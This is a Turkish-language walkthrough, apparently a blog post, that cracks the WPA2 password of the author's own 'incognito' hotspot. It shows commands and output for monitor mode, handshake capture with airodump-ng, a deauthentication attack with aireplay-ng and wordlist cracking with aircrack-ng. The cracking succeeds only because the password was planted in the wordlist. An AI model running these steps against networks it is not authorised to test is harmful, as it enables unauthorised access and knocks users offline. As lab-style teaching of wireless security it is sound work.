

WPA2 Korumalı Bir Ağın Parolasını Bulma

Incognito adındaki cihazdan hotspot yayını açarak o cihazın wpa2 korumalı ağ parolasını bulacağız.

Bilgisayarda wlxf4f26d194b13 adındaki arayüzü monitor moda alıyoruz.

```
root@zehra:/home/night# iwconfig wlxf4f26d194b13 mode monitor
root@zehra:/home/night# iwconfig
lo                no wireless extensions.

mon0              IEEE 802.11bgn  Mode:Monitor  Frequency:2.412 GHz  Tx-Power=20 dBm
                  Retry short limit:7  RTS thr=2347 B  Fragment thr:off
                  Power Management:on

enp14s0           no wireless extensions.

wlxf4f26d194b13   IEEE 802.11bgn  Mode:Monitor  Frequency:2.412 GHz  Tx-Power=20 dBm
                  Retry short limit:7  RTS thr=2347 B  Fragment thr:off
                  Power Management:on

wlp7s0            IEEE 802.11abg   ESSID:off/any
                  Mode:Managed  Access Point: Not-Associated  Tx-Power=200 dBm
                  Retry short limit:7  RTS thr:off  Fragment thr:off
                  Encryption key:off
                  Power Management:on
```

Airodump-ng ile paketleri topluyoruz.

```
night@zehra:~$ sudo su
[sudo] password for night:
root@zehra:/home/night# iwconfig
lo                no wireless extensions.

enp14s0           no wireless extensions.

wlxf4f26d194b13   IEEE 802.11bgn  Mode:Monitor  Frequency:2.412 GHz  Tx-Power=20 dBm
                  Retry short limit:7  RTS thr=2347 B  Fragment thr:off
                  Power Management:off

wlp7s0            IEEE 802.11abg   ESSID:"incognito"
                  Mode:Managed  Frequency:2.412 GHz  Access Point: 76:8D:08:E2:77:22
                  Bit Rate=72 Mb/s   Tx-Power=200 dBm
                  Retry short limit:7  RTS thr:off  Fragment thr:off
                  Encryption key:off
                  Power Management:on
                  Link Quality=52/70  Signal level=-58 dBm
                  Rx invalid nwid:0  Rx invalid crypt:0  Rx invalid frag:0
                  Tx excessive retries:0  Invalid misc:0  Missed beacon:0

root@zehra:/home/night# airodump-ng wlxf4f26d194b13 --bssid 76:8D:08:E2:77:22 -w Desktop/test
```

```
CH  7  ][ Elapsed: 2 mins ][ 2017-07-24 16:32 ][ WPA handshake: 76:8D:08:E2:77:22

BSSID                PWR  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID
76:8D:08:E2:77:22    -60      349         22    0   1  54e  WPA2  CCMP  PSK  incognito

BSSID                STATION            PWR   Rate    Lost    Frames  Probe
76:8D:08:E2:77:22    B8:76:3F:BE:D6:25  -17    0e-  0     15      33
```

Airodump-ng ile paketleri toplayan süreç devam ederken başka bir teminalden aireplay-ng kullanarak o ağa bağlanan cihazı düşürmek için deauthentication saldırısı yapıyoruz.

```
Terminal File Edit View Search Terminal Help
night@zehra:~$ sudo su
[sudo] password for night:
root@zehra:/home/night# aireplay-ng wlx4f26d194b13 --deauth 0 -a 76:8D:08:E2:77:22 -c B8:76:3F:BE:D6:25
16:29:07 Waiting for beacon frame (BSSID: 76:8D:08:E2:77:22) on channel 8
16:29:08 wlx4f26d194b13 is on channel 8, but the AP uses channel 1
root@zehra:/home/night# aireplay-ng wlx4f26d194b13 --deauth 0 -a 76:8D:08:E2:77:22 -c B8:76:3F:BE:D6:25
16:29:40 Waiting for beacon frame (BSSID: 76:8D:08:E2:77:22) on channel 8
16:29:41 wlx4f26d194b13 is on channel 8, but the AP uses channel 1
root@zehra:/home/night# aircrack-ng Desktop/test-03.cap -w Desktop/w.txt
Opening Desktop/test-03.cap
Read 9984 packets.

# BSSID                ESSID                Encryption
1 76:8D:08:E2:77:22    incognito            WPA (1 handshake)

Choosing first network as target.
Opening Desktop/test-03.cap
Reading packets, please wait...

Aircrack-ng 1.2 beta3
```

Sonrasında handshake yakalanıp yakalanmadığını kontrol ediyoruz. Eğer handshake yakalandıysa aircrack-ng kullanarak saldırı gerçekleştiriyoruz. (w.txt dosyası kendi oluşturduğumuz bir wordlist)

```
Terminal File Edit View Search Terminal Help

Aircrack-ng 1.2 beta3

[00:00:00] 1 keys tested (259.05 k/s)

KEY FOUND! [ 2169k9kvjm9j ]

Master Key      : 97 C0 B7 6D D0 47 24 5C AA 7F 33 D6 57 0A EB BF
                  DC DD F7 09 4C D7 EE 92 07 65 F8 FE 61 F6 39 63

Transient Key   : C2 06 CA 6D 1E 18 DF 1D DE F2 42 E7 64 F8 B2 DD
                  C6 ED 6F 4D 3E F4 EA 1D F3 E1 61 27 A4 BF F5 4F
                  E8 8D B2 3D DB 21 D4 29 11 B9 24 80 92 E1 42 D4
                  85 13 04 18 4D FC E8 DD D2 FD B4 D1 BA C9 37 01

EAPOL HMAC     : A7 CD 75 3E D3 46 47 7C 8A B6 4D 36 54 ED 9B 7F
root@zehra:/home/night#
```

Yapılan işlemler sonucunda parola bulunuyor. Kısa sürmesinin nedeni ise vakit kazanmak için wordlist içine parolayı kendimiz ekledik.

